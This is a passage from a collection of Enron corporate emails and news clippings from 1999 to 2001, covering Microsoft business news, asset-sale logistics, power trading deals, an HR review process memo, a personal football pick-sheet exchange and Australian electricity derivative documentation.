oadband services, in a move that could temporarily block the largest softwa=
re company's MSN high-speed Internet service in some U.S. regions.=20
Microsoft said the dispute temporarily blocks the company from providing th=
e high-speed service in areas where Enron provides broadband access, leavin=
g MSN fully operational only in the 14 states -- including Washington -- wh=
ere Qwest Communications International operates, said Bob Visse, director o=
f marketing for MSN.
Enron's lawsuit was filed Thursday, the same day Microsoft had planned to o=
ffer fast Internet access in 45 cities to give it access to potential custo=
mers in 29 million homes. Microsoft, the No. 2 U.S. Internet provider, is m=
aking a push to win customers from AOL Time Warner.=20
"We are trying to resolve the issues with Enron, as quickly as possible and=
 at the same time we are evaluating other providers," Visse said.=20
Enron spokeswoman Karen Denne declined to comment on the lawsuit, citing co=
mpany policy on pending litigation. Enron, based in Houston, is the largest=
 energy trader.=20
Enron in June signed an agreement with Microsoft to provide bandwidth for M=
SN Internet service. Under the agreement, Enron isn't required to deliver o=
perational broadband services if Microsoft hasn't first provided a billing =
and ordering system, Dow Jones news wire reported.=20
Enron claims in its lawsuit that Microsoft failed to deliver the ordering a=
nd billing system required in the initial phase of the deal, Dow reported.=
=20
Alternative browser-users denied Microsoft entry=20
NEW YORK -- Microsoft's premier Web portal, MSN.com, denied entry to millio=
ns of people who use alternative browser software such as Opera and told th=
em to get Microsoft's products instead.=20
The decision led to complaints from the small but loyal Opera community tha=
t Microsoft was abusing its status as the Internet's browser leader. Micros=
oft later backed off and said yesterday that it would support the other bro=
wsers after all.=20
Browser products affected by the shutout, which was triggered by a face-lif=
t of the MSN.com Web site, included Opera, Mozilla and Amaya, said Kevin Re=
ichard, editorial manager for Internet.com's BrowserWatch site.=20
Mike Pettit, president of ProComp, an anti-Microsoft group, urged state and=
 federal investigators to look into the matter as part of its lawsuit accus=
ing Microsoft of anti-competitive practices.=20
-- The Associated Press=20
MicrosoftSF to shut down; Sony will run retail store=20
SAN FRANCISCO -- Sony will take over a retail store it manages with Microso=
ft next month, when the biggest software maker's Xbox goes up against Sony'=
s PlayStation 2 in a contest for control of the $20 billion video-game mark=
et, a Sony spokeswoman said.=20
The two companies agreed to shut down MicrosoftSF, a retail outlet in Sony'=
s San Francisco Metreon entertainment complex. It will be replaced with a D=
igital Solutions electronics store run by Sony on Thursday, Metreon spokesw=
oman Kirsten Maynard said.=20
In April 1998, the companies said they would open the store that displays a=
nd sells Microsoft products alongside Sony electronics that run the softwar=
e. In March 2000, Microsoft announced the Xbox, a game console with an adva=
nced-graphics chip that goes on sale Nov. 15.=20
"A lot has changed with both companies," Maynard said. "It sort of became n=
ot-a-fit anymore."=20
Sony Metreon won't carry the Xbox or Game Cube, a new video console from Ni=
ntendo that goes on sale Nov. 19, she said. Officials at Microsoft couldn't=
 be reached for comment on the shutdown.=20
-- Bloomberg News=20
Copyright [copyright] Seattle Times Company, All Rights Reserved. You must =
get permission before you reproduce any part of this material.

Hi.........Thanks for this information, I will update the Global Counterparty 
system as appropriate. However, please let me know
if you have a list of the new phone numbers and what they are supposed to be 
replacing?

Adnan-GCP
x58335

The following is an update, including several additions to DealBench.

1.  The Purchase and Sale Agreement ("PSA") for each asset has now been 
posted to DealBench under the New Document section.  Please review the 
instructions attached to each PSA.

2. The Management Presentations (with audio) have now been posted to 
DealBench under the Management Presentations section.  When attempting to 
view the presentation, please log onto DealBench using Microsoft Explorer. 
Once in DealBench, you will most likely need to download "Flash Player" (free 
download).  You can do this by clicking "Macromedia Flash Player download 
center in the Linked Documents section of DealBench.  The download usually 
takes less than 30 seconds.  After the download, return to the Management 
Presentation section of DealBench and click on the Management Presentation 
(with audio).   A power point presentation has also been included in the 
Management Presentation section of DealBench.   A detailed instruction guide 
"Instruction for Viewing Management Presentation" has been posted in New 
Document section of DealBench.

3.  Please be sure to consistently review the New Documents section on 
DealBench for any new documents that have been added to DealBench.  Also, a 
running black line Due Diligence Index is posted in the Due Diligence Index / 
Plant Pictures section of DealBench.

4. Any drawings or CDs that you need from the Due Diligence Indices may be 
requested by sending an email to don.miller@enron.com or jhoff2@enron.com.

5.  Any problems or issues that you may be encountering may be directed to 
Jinsung Myung at 713-853-7330.

6.  We are prepared to schedule Q&A sessions.  Please contact Don Miller at 
713-853-0492.

Regards,

Don Miller

Aha!  You really are interested in what Martha thinks after all! (And by the way, Martha never met a plant she didn't like as far as I know...)

>From: "Dasovich, Jeff" 
>To: "Molly Coffin" 
>Subject: RE: Pick Sheet - Week 8.xls 
>Date: Wed, 24 Oct 2001 01:10:34 -0500 
> 
>Does Martha approve of aloe vera? 
> 
> -----Original Message----- 
> From: Molly Coffin 
> Sent: Tue 10/23/2001 7:34 PM 
> To: Dasovich, Jeff 
> Cc: 
> Subject: RE: Pick Sheet - Week 8.xls 
> 
> 
> 
> How about if my aloe vera plant models it instead? 
> 
> 
> 
> >From: "Dasovich, Jeff" 
> >To: "Molly Coffin" 
> >Subject: RE: Pick Sheet - Week 8.xls 
> >Date: Tue, 23 Oct 2001 15:29:26 -0500 
> > 
> >Well, not just any jock strap. Maybe you could model a few and 
>I can 
> >pick one. Don't want it to clash with the furniture.... 
> > 
> >-----Original Message----- 
> >From: Molly Coffin [mailto:mollycoffin@hotmail.com] 
> >Sent: Tuesday, October 23, 2001 2:24 PM 
> >To: Dasovich, Jeff 
> > 
> > 
> > 
> >Wow. It sounds like you really have your heart set on having a 
>jock 
> >strap or 2 on display at your place...I may have to get in 
>tough with 
> >some of those Patriots. 
> > 
> > 
> > 
> > >From: "Dasovich, Jeff" 
> > >To: "Molly Coffin" 
> > >Subject: RE: Pick Sheet - Week 8.xls 
> > >Date: Tue, 23 Oct 2001 14:03:04 -0500 
> > > 
> > >Forget that, I'm expecting a new hanging planter for 
>Christmas. (Tee 
> > >hee). 
> > > 
> > >Kisses, 
> > >Jeff 
> > > 
> > >-----Original Message----- 
> > >From: Molly Coffin [mailto:mollycoffin@hotmail.com] 
> > >Sent: Tuesday, October 23, 2001 2:02 PM 
> > >To: Dasovich, Jeff 
> > > 
> > > 
> > > 
> > >See...reading Martha Stewart Living may make me rich yet! 
> > > 
> > > 
> > > 
> > > >From: "Dasovich, Jeff" 
> > > >To: "Scott Laughlin" , , , "eldon sellers (E-mail)" 
> > > >CC: , , , 
> > > >Subject: RE: Pick Sheet - Week 8.xls 
> > > >Date: Tue, 23 Oct 2001 12:23:35 -0500 
> > > > 
> > > >Molly gets all her picks from "The Living Guide to Picking 
>NFL 
> >Winners" 
> > > 
> > > >by Martha Stewart. Note on p. 12 of this months version: 
>Martha shows 
> > 
> > > >how to make hanging planters out of the jock straps worn by 
>the front 
> > 
> > > >line of the New England Patriots. 
> > > > 
> > > > 
> > > >-----Original Message----- 
> > > >From: Scott Laughlin [mailto:scottwl@hotmail.com] 
> > > >Sent: Tuesday, October 23, 2001 12:06 PM 
> > > >To: Nancy.Sellers@RobertMondavi.com; 
>mollycoffin@hotmail.com 
> > > >Cc: skmaloney@yahoo.com; cameron@perfect.com; 
> >Jeff_Dasovich@enron.com; 
> > > >PSellers@pacbell.net 
> > > >Subject: Re: Pick Sheet - Week 8.xls 
> > > > 
> > > > 
> > > >No, I want her picks! This is going to start a major 
>bidding war... 
> > > > 
> > > > 
> > > > >From: Nancy Sellers 
> > > > >To: "'Molly Coffin (Hotmail)'" 
> > > > >CC: 'Sean Maloney' , Cameron 
> > > >, 
> > > > >Jeff Dasovich , "Prentice @ Berkeley" 
> > > > >, Prentice Sellers , 
> > > > >Scott Laughlin 
> > > > >Subject: Pick Sheet - Week 8.xls 
> > > > >Date: Tue, 23 Oct 2001 08:22:50 -0700 
> > > > > 
> > > > > 
> > > > > 
> > > > > 
> > > > > 
> > > > > 
> > > > > 
> > > > >Molly, please fill out this sheet for me! 
> > > > > 
> > > > > <> 
> > > > > 
> > > > ><< PickSheet-Week8.xls >> 
> > > > 
> > > > 
> > > 
> >_________________________________________________________________ 
> > > >Get your FREE download of MSN Explorer at 
> > > >http://explorer.msn.com/intl.asp 
> > > > 
> > > > 
> > > > 
> > > 
> > 
> >********************************************************************** 
> > > >This e-mail is the property of Enron Corp. and/or its 
>relevant 
> > >affiliate and may contain confidential and privileged 
>material for the 
> > >sole use of the intended recipient (s). Any review, use, 
>distribution 
> >or 
> > >disclosure by others is strictly prohibited. If you are not 
>the 
> >intended 
> > >recipient (or authorized to receive for the recipient), 
>please contact 
> > >the sender or reply to Enron Corp. at 
> > >enron.messaging.administration@enron.com and delete all 
>copies of the 
> > >message. This e-mail (and any attachments hereto) are not 
>intended to 
> >be 
> > >an offer (or an acceptance) and do not create or evidence a 
>binding and 
> > 
> > >enforceable contract between Enron Corp. (or any of its 
>affiliates) and 
> > 
> > >the intended recipient or any other party, and may not be 
>relied on by 
> > >anyone as the basis of a contract by estoppel or otherwise. 
>Thank you. 
> > > 
> > 
> > > 
> > > _____ 
> > > 
> > >Get your FREE download of MSN Explorer at 
>http://explorer.msn.com 
> > > 
> > > 
> > > 
> > 
> > _____ 
> > 
> >Get your FREE download of MSN Explorer at 
> > 
> > 
> > 
> 
> _____ 
> 
> Get your FREE download of MSN Explorer at 
> 
> 

  _____  

Get your FREE download of MSN Explorer at http://explorer.msn.com <http://go.msn.com/bql/hmtag_itl_EN.asp>

From: 	Cappiello, Deborah  
Sent:	Tuesday, October 23, 2001 5:09 PM
To:	Armstrong, Julie
Subject:	RE: Tim Christensen

Actually, I have the ticket packets ready but wanted to wait until we had decided on the menu items which will be tomorrow.  I include an informational sheet w/the tickets for each game.  You will have the tickets Thursday morning.

From: 	Armstrong, Julie  
Sent:	Tuesday, October 23, 2001 4:35 PM
To:	Cappiello, Deborah

Deb:
I understand that Dave has the tickets.  Should he Fed X to us before Friday?

Sent:	Tuesday, October 23, 2001 3:25 PM
Subject:	Tim Christensen

Julie, this is what I have so far on Tim.  Once I talk w/Dennis, I will give you further info

Tim Christensen
Director, North & South Panhandle
Duke Energy Field Services

537948 & 537949 

Also, Mike says 537948 should definitely be ON PEAK.

03/05/2001 01:50 PM
cc:  

Subject: natsource

2 missing deals for mike

sell dynegy
cal 04
59.00
25 mw
sp15
off peak

cal 04
45.00
25 mw
sp15
off peak

Hi Carlos,

Here's the PSA I mentioned.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 02/26/2001 04:11 

Scott Churbock
02/20/2001 09:20 AM
cc: Fred Mitro/HOU/ECT@ECT, Rusty Stevens/Corp/Enron@ENRON 

Subject: MSA

Here is Trinity's MSA for your review.  Thank you for looking this over.  Let 
me know how you would like to proceed.

Scott

---------------------- Forwarded by Scott Churbock/NA/Enron on 02/20/2001 

Steve_Ramsey@trinityconsultants.com on 02/16/2001 02:31:55 PM
To: scott.churbock@enron.com
cc:  

Scott, attached is a template that we have for master service agreements.
Take and look and see what you think.

Steve

(See attached file: MSA Template.doc)

 - MSA Template.doc

Enron in Action can be accessed through the new Community Relations web site at http://cr.enron.com/eia.html .  In this week's issue you will find out information regarding:

Enron Happenings 
Sponsor a Child - Win a Ticket to Cirqie du Solei
Winners of the BEAR Raffle
Enron Kids Holiday Program

Enron Volunteer Opportunities
Camp Noah - Daycamp for Children Recovering from Disaster

Enron Wellness
4th Quarter Blood Drive
Holiday Fashion Show & Luncheon
Weight Watchers

In addition, Enron in Action is available through a channel on my.home.enron.com.  To add this channel to your set-up click on the channels link at the top of the screen and under announcements check the Enron in Action box.  

If you wish to add an announcement to Enron in Action, please fill out the attached form below and submit it to mailto:eia@enron.com no later than 12 PM Thursday each week.

\BEGIN TRANSACTION PREFERRED
SC_ID "EPMI";
DAYAHEAD 20010806;

\BEGIN TEMPLATE I_INTRCHNGE
TIE_POINT "SYLMAR_2_LDWP";
INTERCHG_ID "LDWP_EPMI_0806DS";
ENGY_TYPE "CSPN";
EXT_CNTRL_ID "LDWP";
SCHED_ID "";
CONTRACT_TYPE "";
CNGS_MGT_FLG "SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF","SELF";
PRIOR_TYPE "OTHER";
LOSS_CMP_FLG "NO";
WSCC_TAG "";
HRLY_MW -10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10,-10;
RAMP_RATE   1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1,  1;
CAP_RES_PRC   0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0,  0;
 \BEGIN ADJ_BID
24*{(  0, 91.86),( 10, 91.86)};
\END
\END TEMPLATE
\END TRANSACTION 

Dear Ms Causholli,

we thank you for the interest shown in our activities.

We apologise to you. I wrote to you that i sent the MBA 
brocure. It was a mistake.Following to your request we inform you 
that the MIEM brochure has already been sent to you along with the 
application form.

For any further information, please, do not hesitate to contact us.

Marketing Service
Master's Division
BB

Subject:       application and brochures
Date:          Thu, 15 Nov 2001 14:45:49 -0600
From:          "Causholli, Monika" <Monika.Causholli@enron.com>
To:            <md@sdabocconi.it>

Can I get an application and a brochure from the Bocconi university. I
am interested in the MIEM/MCF.

My name:

Address:

2440 north boulevard # 5205
Houston, TX 77098
USA
Tel 713 807 1039
email: mcausholli@hotmail.com

thank you,

This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribu

---------------------- Forwarded by Richard B Sanders/HOU/ECT on 12/19/99 
10:13 AM ---------------------------

Charlotte Jones@ENRON
12/17/99 11:30 AM
To: Richard B Sanders/HOU/ECT@ECT
cc:  
Subject: Re: Fax Number 713/646-3483  

This request has been forwarded to Louis Porter and will be completed by 
Tuesday morning.  

Thank you.

Charlotte

Richard B Sanders@ECT
12/17/99 10:16 AM
To: Telephone Mods/Corp/Enron@ENRON
cc: Linda R Guinn/HOU/ECT@ECT 

Subject: Fax Number 713/646-3483

Please pull a report detailing all incoming faxes received by fax machine 
number 713/646-3483, located between EB 3115 and 3114B from September 1 
through present.  WE NEED THIS REPORT IMMEDIATELY.  Time is of the essence.  
Should you have any questions, please call  me at 35587 or my legal 
specialist, Linda Guinn, at 36104.  

Richard Sanders
RC 0630
Co. 413

Mark -
I'm sending you two things that I hope will clarify some of these 
discrepancies. The first is an updated Real Time spreadsheet for 3/19 that 
shows the volumes for deal 553219. Bill Williams and I looked over their 
spreadsheets and could not find this deal in the 3/16 sheet - so I'm still 
wondering why EES thinks this deal should be in at a different date and 
price. 

The second document is a modified version of the sheet you sent me. In it, I 
answered the questions I could and changed things I knew were wrong. I also 
asked questions on deals where I can't find a discrepancy between my sheet 
and EnPower. 

Please keep in contact on this issue - I know this is only a start.

Kate 
503-464-7486

Mark Confer
03/29/2001 05:56 PM
To: Kate Symes/PDX/ECT@ECT, Brooklyn Couch/HOU/EES@EES, Virginia 
Thompson/PDX/ECT@ECT
cc:  

Subject: March EES Differences

I will be out of the office on Friday, attached is the spreadsheet of the 
differences noted so far between EES & EPMI and where we are with them.  
Since the GL needs to be booked by the end of the day Wednesday I am sending 
this file to everyone.  Please take a look and let me know if more 
information is needed.

Kate you asked about deal #553219.1 EES shows this deal on the 16th at a 
price of $125.  They do not see this deal on their real time sheets for the 
19th. 

Thanks,

Mark

The PRC process for the Associate & Analyst Programs has been revised.  The=
=20
Office of the Chairman, in conjunction with the heads of each Operating=20
Company, has established a PRC Committee for the Associates and one for the=
=20
Analysts.  Each Committee will oversee the respective PRC meetings.   Detai=
ls=20
of the process are as follows:

I. PRC Committee Members

Associate PRC Committee
 Sally Beck   Don W. Black   Dan Catagnola
 Paul Chivers   Ed Coats   Dave Duran
 Bob Hayes   Sean Homes   Fred Kelly
 Dick Leibert   Sean Long   Scott Neal
 Ozzie Pagan   Kevin Presto   Brad Richter
 Mark Ruane   Jim Steffes

Analyst PRC Committee
 Dave Bowers   Federico Cerisoli  Ed Coats
 David Crews   Brenda Herod   Rogers Herndon
 Ben Jacoby   Steve Jernigan   William Gehle
 Jay Lewis (James W)  Paul Mead   Mike Norris
 Rockey Storie   Jon Thomsen   Emilio Vicens

II. Meeting Logistics

Enron will hold Eastern Hemisphere Associate and Analyst PRC meetings on Ju=
ly=20
17th in London. The PRC for the Eastern Hemisphere will include Europe, Ind=
ia=20
and Asia and will be chaired by John Sherriff.=20

The Western Hemisphere Associate and Analyst PRC meetings will be held on=
=20
July 19th in Houston.  The PRC for the Western Hemisphere will include Sout=
h=20
America, Calgary, Portland, Houston and Australia (Houston administers it)=
=20
and will be chaired by Joe Sutton.  The Analyst PRC will be conducted from=
=20
8:00 a.m. to 12:30 p.m., and the Associate PRC will be conducted from 1:30=
=20
p.m. to 6:30 p.m. =20

III. Process

Each PRC representative has been randomly assigned 15 to 17 Associates or=
=20
Analysts that they will represent in the PRC meeting.  Please note the PRC=
=20
rep is not representing only those individuals who may work in his or her=
=20
specific OpCo but individuals that work throughout the organization.  The P=
RC=20
rep will continue to represent the assigned Associates or Analysts during=
=20
their entire tenure with the Program.
The PRC reps are expected to contact the PRC supervisor and gather=20
performance information (including pre-ratings if available).
The Program will prepare a binder for each PRC rep that includes consolidat=
ed=20
feedback from the PEP system for their assigned Associates or Analysts and=
=20
will provide this to the PRC Representatives on July 7th.
Associates and Analysts will be pre-rated by their Business Unit supervisor=
=20
using the six performance ratings (Superior - Issues) and the Management=20
Professional feedback form as detailed in the PEP system.  The pre-ratings=
=20
must be loaded into PEP by July 6th. =20
The Associate and Analyst ratings will be cross-calibrated by tenure at the=
=20
meeting as follows:
Associates:
Level 1: 0 to 6 months
Level 2: 7 to 12 months
Levels 3 & 4 will be reviewed together: 13 months+.
Analysts:
Level 3: 13 to 24 months
Level 4 and 5 will be reviewed together: 25 months+
The rating determined in the global cross calibration meeting is final, and=
=20
cannot be changed once the meeting has ended.
Following the global Associate and Analyst PRC, the Associates=01, and the=
=20
Analysts=01, supervisors will obtain the final rating from the PRC=20
representative.  The supervisors must ensure that an evaluation session is=
=20
conducted and the final rating is communicated to each Associate and Analys=
t=20
by September 15th. The completed form must be signed by the Associate or=20
Analyst and returned to Terry Bosien in Human Resources by 9/18/00.

IV. Promotions
All promotions must be recommended in the PRC.
Associates are eligible for promotion to manager at their 18 and 24 month=
=20
anniversary.
Timing.  Anniversaries that occur from April 1st through September 30th=20
should be recommended in the July PRC and those that occur from October 1st=
=20
through March 31st should be recommended in the December PRC.   If the=20
promotion is granted it would become effective on the 1st of the month=20
following the PRC, or on the Associate=01,s anniversary date, whichever is =
later.
Associates promoted after March 31st for the July PRC and after September=
=20
30th for the December PRC will be evaluated as Associates for PRC purposes,=
=20
not as a Manager  (i.e. An Associate was promoted to Manager effective Apri=
l=20
1st.  In the July PRC the individual should be evaluated as an Associate no=
t=20
as a manager).
2nd year Analysts are to be recommended for promotion to 3rd year Analysts=
=20
after completing the 2nd year, utilizing the same timing criteria outlined=
=20
above (i.e., an Analyst who completes the 2nd year on September 30th should=
=20
be recommended for promotion to 3rd year Analyst in the July PRC).
3rd year Analysts may be recommended for promotion to Associate after=20
completing the 3rd year, utilizing the same timing criteria outlined above=
=20
(i.e., an Analyst who completes the 3rd year on September 30th should be=20
recommended for promotion to Associate in the July PRC).
Please call Terry Bosien at 713/853-5230 or Celeste Roberts at 713/853-0555=
=20
if you have any questions.

Michael,

Please provide the Lucent information to Richard Ring as requested in the attached email.

Thanks,
Bob
---------------------- Forwarded by Robert M Sutter/HOU/EES on 07/30/2001 09:55 AM ---------------------------

	Enron Energy Services  From:  Robert Hurt                           07/30/2001 08:01 AM Phone No: 713-853-0952	
		
To:	Direct Reports
cc:	 
Subject:	Customer Account #'s

Another reminder for todays meeting. 

Bob
---------------------- Forwarded by Robert Hurt/HOU/EES on 07/30/2001 07:56 AM ---------------------------

Victor Gonzalez
07/27/2001 10:42 AM
To:	Robert Hurt/HOU/EES@EES, Ben Smith/HOU/EES@EES
cc:	Debra Blake/HOU/EES@EES, Whitney Fox/HOU/EES@EES, Robert Deshazo/HOU/EES@EES, John Nanof/HOU/EES@EES, Rhonda Short/HOU/EES@EES, Vinay Adenwala/HOU/EES@EES, Richard Ring/HOU/EES@EES 

Bob, Ben -
Richard Ring with the Power desk is needing information on accounts under your management, see email below.  Can you please forward this request to the appropriate person(s) to respond to the request.

thanks,
Victor
---------------------- Forwarded by Victor Gonzalez/HOU/EES on 07/27/2001 10:36 AM ---------------------------

Vinay Adenwala
07/26/2001 05:53 PM

To:	Victor Gonzalez/HOU/EES@EES
cc:	Richard Ring/HOU/EES@EES 

Hello Victor,  
 
My name is Vini Adenwala, I'm doing some research for Narsimha Misra and Richard Ring for the East Power Risk Mgmt. Dept., and I wanted to ask you  for some information regarding our customers in Massachusetts.  I have a list of contracts here:

1. Polaroid Corporation
2. Quebecor Printing USA Corp.
3. Simon Property Corp.
4. Sonoco Products Co.
5. Lucent Technologies Inc.
6. Haverhill Police Station
7. BICC General Cable Industries, Inc.

What I need to get from you is a customer list along w/ their account #'s for each of these contracts, and Richard told me you were the person I should talk to.  If you could provide me with a list of the individuals responsible  for billing each account, or even the customer acct. #'s themselves, I would greatly appreciate it.  Thank you for your time and cooperation.

Regards,

published : October 26, 2001
Enbridge Buys Koch's East Texas Midstream Assets for $231M 
Enbridge Energy Partners LP is buying gas gathering, treating, processing and transmission assets in East Texas from Koch Midstream Services for $230.5 million. The package includes all of the East Texas System, which gathers 400 MMcf/d for delivery into the Carthage Hub. 
Enbridge Energy Company President Dan C. Tutcher said the assets are a "natural fit" with Enbridge's existing Texas assets and will significantly expand the company's "geographic footprint" in the region as well as its energy commodity mix. "We expect the acquisition to be immediately accretive to the partnership's distributable cash flow, and excellent prospects exist for further organic growth of the East Texas System.'' 
Enbridge Partners will acquire 1,880 miles of various diameter gathering lines, 37 compressor stations, four gas treating plants with a capacity of 595 MMcf/d and three gas processing plants with a combined capacity of 375 MMcf/d. The transaction is anticipated to close in December. 
The intrastate system derives revenues from the purchase, transportation and resale of natural gas. Additionally, when natural gas liquids fractionation spreads are positive, the option exists to extract NGLs from purchased gas, thus leveraging income with incremental processing revenue, the company noted. The partnership expects that the direct commodity price exposures inherent in gas purchase and resale activities and in gas processing will be suitably mitigated through a hedging strategy. 
It forecasts gas supply available to the system will be 400-420 MMcf/d in 2002. Based on this estimate, the acquisition would contribute incremental EBITDA of between $26 million and $32 million for the year, while distributable cash flow would increase by between $0.10 and $0.15 per unit, with further improvements anticipated in 2003. The forecasts assume that acquisition financing will consist of 50% debt and 50% equity, in line with Enbridge Partners target long-term capital structure. 
Enbridge Partners also reported third quarter net income of $6.6 million, or $0.13 per common unit, compared with net income of $14.2 million, or $0.42 per unit, for the third quarter in 2000. The decline was attributed mainly to an adjustment to oil inventory due to shippers of $5.4 million. The adjustment was the result of what Enbridge said were refinements in the oil loss estimation process, as well as improvements in the accuracy of measuring oil losses while developing new software applications. 
Third quarter deliveries were 1,208 million b/d compared to 1,272 MMb/d for the same period in the prior year. The partnership expects that deliveries will increase over the remainder of the year, to average between 1.30 and 1.33 MMb/d. However, its delivery estimates for 2001 and 2002 are down from prior expectations because of lower production forecasts for conventional heavy crude oil, which stem from the current wide price differential between heavy and light crude. For 2002, growing oil sands production is anticipated to boost full-year average deliveries to between 1.35 and 1.43 MMb/d. 
"The partnership's forecast indicates that crude oil delivery volumes, which have languished for the past several quarters, will start to improve modestly in the near term with more significant increases occurring in the latter half of 2002," said Tutcher. "The major contributing factor will be increased production from the immense oil sands reserves in Western Canada. We also anticipate further successes from our acquisition strategy, which will increase earnings and diversify our sources of income. The partnership's primary objective over the next two to three years is to accelerate the growth of cash distributions to unitholders. To that end, we are confident that the acquisition of the East Texas facilities combined with some improvement in liquid hydrocarbon deliveries will position the partnership to consider a distribution increase in 2002.'' 

i can't make the 9 o'clock game

02/22/2000 12:50 PM
To: Eric Bass/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Kevin 
Bosse/HOU/ECT@ECT, Bryan Hull/HOU/ECT@ECT, Gregg Lenart/HOU/ECT@ECT, Eric 
Wardle/HOU/ECT@ECT, B Scott Palmer/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, 
Drew Hill/HOU/ECT@ECT, Jimmy Simien/Corp/Enron@ENRON, Mark Feldman/HOU/ECT@ECT
cc:  
Subject: this week's game

Our games this week are scheduled for 7 & 9.  We only have 10 players this 
week, so please let me know today if you are or are not able to play this 
week so that I can find someone else.  Thanks.
PL

We have received an executed First Amendment to ISDA Master Agreement, dated 
effective March 5, 2001, between EnerVest Energy, L.P. ("EnerVest Energy") 
and Enron North America Corp. ("ENA").   This agreement provides for an 
amendment to EnerVest Energy's collateral threshold and to incorporate 
certain updates to ENA's form of Schedule to the ISDA Master Agreement.

Copies will be distributed. 

1400 Smith Street, Suite 3806A
Phone: (713) 853-4737
E:mail:  Susan.Bailey@enron.com

Mark

I would like to thank you for your review of our draft product description.  
The benefit of your experience is invaluable in assisting us to develop our 
forms.  

I had a couple of reservations about some changes you proposed.  

In particular the changes  to the Swap product description  would involve the 
Fixed and Floating Price in  each Calculation Period (half hour) being 
averaged over a Settlement or Determination Period. The payment obligation 
would  then be multiplied by the Notional Quantity Per Settlement Period to 
get the amount payable on the Settlement Date.   This not the way electricity 
derivatives are traded on the Australian electricity pool.   In addition to 
being inconsistent with the terminology both within our documentation and 
industry agreed forms we would have difficulty in having this new trading 
form adopted by the market.

In brief, in Australia electricity trades occur  in the following manner:

- Trades are calculated on the basis of  discrete half hourly Calculation 
Periods. 

- Payment obligations for these Calculation Periods are then aggregated  on 
Settlement Date each month. The Settlement Date is defined as the day each 
month when parties are obliged to make payments under the National 
Electricity Code.

- It is the market custom for the Notional Quantity to be quoted in MWs.  
This number is then divided in half to calculate to convert it  into MWhs,  
which becomes the Notional Quantity per Calculation Period.  (To ensure its 
consistency with market practice we have determined that amounts should be 
quoted in MWs then converted in this manner into MWhs. This is explained in 
the product description

Mark Taylor and myself discussed the principles that should be followed in 
preparing long form product descriptions.  Whilst we should endeavour for 
consistency in drafting and in terminology amongst products, the primary 
concern is to ensure that the terms used in the long form descriptions are 
consistent with our GTCs,  other relevant contractual arrangements with the 
counterparties and market trading forms.  There are also  practical reasons 
for adopting terminology used in a particular market.  We would have some 
difficulty in attempting to market EnronOnline to potential counterparties if 
we also simultaneously convince them to commence trading on another type of 
product.  Furthermore, departure from agreed forms of trading will increase 
the transaction risk. 

I would be interested in getting your views as we are planning to turn out a 
number of descriptions over the next week based on our original form. 
---------------------- Forwarded by David Minns/ENRON_DEVELOPMENT on 
02/02/2000 02:16 PM ---------------------------

Paul Smith
02/02/2000 12:33 PM
cc: Allan Ford/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Re: Australian Power: EOL Long Form Description  

David,

I have changed the description of the reference load shape for OffPeak and 
Flat trades. Can you pls OK these before I proceed with other regions. In the 
meantime, I will use the original Peak template as the base for options.

Rgds
Paul

David Minns
31/01/2000 15:05
To: Paul Smith/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Paul Quilkey/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

The major change is the adoption of a new product into Australia. The current 
arrangement is for trades to be effected in discrete 30 minute Calculation 
Periods settled monthly in accordance with an the NEMMCO calendar. What is 
proposed is for the floating amounts to to be averaged over a Settlement 
Period. The implication is that the "Average Floating Amount" is this the 
Average Floating Price multiplied by the number of Calculation Periods. This 
should equate to the same figure. There are a couple of concerns

This  is not what is currently traded. There are no definitions to cover 
these terms. We would also have to amend the GTCs and existing ISDA 
Agreements to be able to trade this type of Product. Apart from additional 
definitions issues such as rounding conventions for averaging would also need 
to be addressed.  
We will need to educate potential counterparties as to this produce. 

There is also a change to require counterparties to quote a volume per 
Settlement Period. A figure is quoted in MW and then multiplied by the number 
of hours within the Settlement Period to get the "Notional Quantity Per 
Settlement Period". Assuming this is limited to the number of hours within 
each  "Victorian NEM Peak" during the Settlement Period it should work. But 
there will need to be an explanation that the Average Floating Amount is the 
Average Floating Price multiplied by the  Notional Quantity Per Settlement 
Period. 

If we must adopt this form then we have no choice but I believe that it will 
cause difficulties in implementing EnronOnline. We will need not only sell 
the system but also new products. A further level of complexity will be added 
to trades as we attempt modify the current Australian market conventions.     

Paul Smith
01/26/2000 07:45 AM
cc:  

Subject: Australian Power: EOL Long Form Description

David,

Here is the response from Mark.

Comments?

Rgds
Paul

---------------------- Forwarded by Paul Smith/ENRON_DEVELOPMENT on 
26/01/2000 07:48 ---------------------------

Mark Dilworth@ECT
26/01/2000 00:34
To: David Forster/LON/ECT@ECT
cc: Paul Smith/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Australian Power: EOL Long Form Description  

David

I have reviewed the language sent by Paul. 

The description is broken down into 8 paragraphs - for the record:

Paragraphs 1, 2, 3, 7 all cover details usually covered in the Product Type 
description (7 is actually settlement date[s] for which we do not have a 
separate attribute). 

Paragraph 4 is reference period.
Paragraph 5 is Index.
Paragraph 6 is loadshape.

These look fine to me - subject to my observations on whether we can use the 
'Averaging' language. 

Paragraph 8 covers 2 attributes - currency (looks fine) and Unit of Measure - 
for which I suggest we go with our current language for MWh - which details 
that the volume submitted by the counterparty is MWh per hour. 

The product type language does not refer to determination (or settlement) 
periods, but calculation periods (half hourly) - and then details the 
computation of volume for a calculation period. 

If we are consistent with the approach used in other products we would refere 
to the average reference price (being the index) within a determination 
period and further define the determination period. (If we average this also 
changes the loadshape language). 

I have attached a document with the language I would propose referring to 
averaging. 

Paul

I have reviewed the descriptions comparative to those already held for power 
financial swaps on the system. David may have further comments. 

David is not back until 7th Feb. and you may wish to have your legal team 
consider if the 'averaging language' can be used in Australia before he 
